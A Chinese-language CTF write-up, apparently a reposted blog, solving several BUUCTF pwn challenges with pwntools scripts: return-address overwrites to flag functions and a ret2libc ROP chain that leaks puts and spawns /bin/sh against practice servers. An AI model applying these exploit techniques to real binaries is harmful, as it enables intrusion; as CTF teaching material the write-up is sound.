buuctf pwn wp---part1


pwn難啊

 

1、test_your_nc

測試你nc,不用說,連上就有。

2、rip

ida中已經包含了system函數:

 

 

 

溢出,覆蓋rip為fun函數,peda計算偏移為23:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1')

flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr)

#print p.recv()
p.sendline(payload)
p.interactive()

 

3、warmup_csaw_2016

ida中,可以看到,存在溢出

 

 

 

 

 

 

 

 

 使用peda計算偏移為72

 

 

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016')

catflag_addr = 0x40060d

payload = 'A'*72 + p64(catflag_addr)

#print p.recv()
p.sendline(payload)

p.interactive()
exp

 

4、pwn1_sctf_2016

先check一下文件

 

文件開啟了NX。使用ida查看:

 

 程序功能:將輸入的所有的‘I’轉化為you,然后輸出“So,[輸入]”

在fgets處,對輸入的s進行了限制,不能溢出。但是在strcpy函數中,未對s進行限制,v0對輸入的I進行變換后:V0長度=I的個數*3。

輸入的I的長度最多為32,那么V0最長為32*3=96,遠大於3C(60),可以進行溢出,需要3C+4 = 64位 = 21個‘I’ + 1個‘A’

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29641)
#p = process('./pwn1_sctf_2016')
#p = remote('xxxxx',xxxx)

catflag_addr = 0x8048f0d

payload = 21*'I' +'A'+ p32(catflag_addr)

#print p.recvuntil('yourself:')
p.sendline(payload)

p.interactive()
exp

 

 5、ciscn_2019_c_1

先check一下,開啟了Nx和Relro

 

ida中為找到system函數和‘/bin/sh’等字符,需要利用ROP和LibcSearcher庫查找libc

在encrypt()函數中發現gets函數,這個是一個溢出點

 

 

 

 

 

可以通過溢出puts函數,泄露出puts函數的地址,找到libc,計算出system和'/bin/sh'的地址,然后執行system(‘/bin/sh’)

注意encryt()函數會修改我們的payload,所以第一位用'\0'避開。

 偏移為:0x50+8

 1 #!python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 from LibcSearcher import *
 6 
 7 context.log_level = 'debug'
 8 context.arch = 'amd64'
 9 
10 elf = ELF('./ciscn_2019_c_1')
11 puts_got = elf.got['puts']
12 puts_plt = elf.plt['puts']
13 main_addr = elf.sym['main']
14 ret = 0x4006b9
15 pop_rdi = 0x400c83
16 sh = 0
17 lib = 0
18 
19 
20 def main(ip,port,debug):
21     global sh
22     global lib
23     if debug == 1:
24         sh = process('./ciscn_2019_c_1')
25     else:
26         sh = remote(ip,port)
27 
28     sh.sendlineafter('choice!\n','1')
29     payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
30     sh.sendlineafter('encrypted\n',payload)
31     sh.recvline()
32     sh.recvline()
33     puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
34     libc = LibcSearcher('puts',puts)
35     libcbase = puts - libc.dump('puts')
36     binsh = libcbase + libc.dump('str_bin_sh')
37     sys_addr = libcbase + libc.dump('system')
38     sh.sendlineafter('choice!\n','1')
39     payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
40     sh.sendlineafter('encrypted\n',payload2)
41     sh.interactive()
42 
43 if __name__ == '__main__':
44 
45     main('node3.buuoj.cn',27020,0)
exp

 

 

6、ciscn_2019_n_1

先check一下,開啟了NX和RELRO

 

 

 查看字符串,能看到,或許是和flag相關

 

 

可以看到危險函數gets,存在溢出,可以通過v1覆蓋v2的值從而執行system函數獲取flag

 

 

 

 

 

通過跟隨。可以知道11.28125地址為:0x41348000,偏移為:0x2c

 

 

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',26929)
#p = ('./ciscn_2019_n_1')

v2_addr = 0x41348000

payload = 0x2c*'a' + p64(v2_addr)

print p.recv()
p.sendline(payload)

p.interactive()
exp

 

7、ciscn_2019_en_2

同上5

 

待續。。。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM